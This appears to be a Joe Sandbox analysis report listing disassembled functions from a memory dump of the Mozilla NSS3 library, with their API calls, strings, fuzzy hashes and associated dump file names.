Opcode Fuzzy Hash: 1b1a15cdcad88a5dcc99ec77ba732f06703b0f6e38a8a2ae2e9b66ee29ea5060
Instruction Fuzzy Hash: 72B191B0E003099FDB14CF65DC40AAEB7BAFF49308F14412EE81A97751E731A955CB9A

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

%s at line %d of [%.10s], xrefs: 6C6260A4
misuse, xrefs: 6C62609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C6CDE70 Relevance: 10.7, APIs: 7, Instructions: 224COMMON

Download Yara Rule

APIs

SECITEM_CompareItem_Util.NSS3(FFFFD064,?), ref: 6C6CDFB9
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6CE029

Part of subcall function 6C6A8970: TlsGetValue.KERNEL32(?,00000000,6C6561C4,?,6C655639,00000000), ref: 6C6A8991
Part of subcall function 6C6A8970: TlsGetValue.KERNEL32(?,?,?,?,?,6C655639,00000000), ref: 6C6A89AD
Part of subcall function 6C6A8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C655639,00000000), ref: 6C6A89C6
Part of subcall function 6C6A8970: PR_WaitCondVar.NSS3 ref: 6C6A89F7
Part of subcall function 6C6A8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C655639,00000000), ref: 6C6A8A0C

PR_SetError.NSS3(FFFFD06A,00000000), ref: 6C6CE072
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6CE098
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6CE0A7
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6CE0F1
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6CE10A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$CompareCopyValueZfree$CondCriticalEnterErrorSectionUnlockWait
String ID:
API String ID: 1854523011-0
Opcode ID: 872bcf659e49f3029f5368f1cda9d892c241ad2cc99fcde5ceb37bc5e2bd83b9
Instruction ID: c23b23c1a84ccb201974e33e9b6ef785460c7ed2f16d5ccd7e9f368be0248058
Opcode Fuzzy Hash: 872bcf659e49f3029f5368f1cda9d892c241ad2cc99fcde5ceb37bc5e2bd83b9
Instruction Fuzzy Hash: 2E810275B05611ABE3108A24DC42B9AB7B4FF05318F044229ED6993B91E731BD69CBCF

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF
%s at line %d of [%.10s], xrefs: 6C5D51B4
misuse, xrefs: 6C5D51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
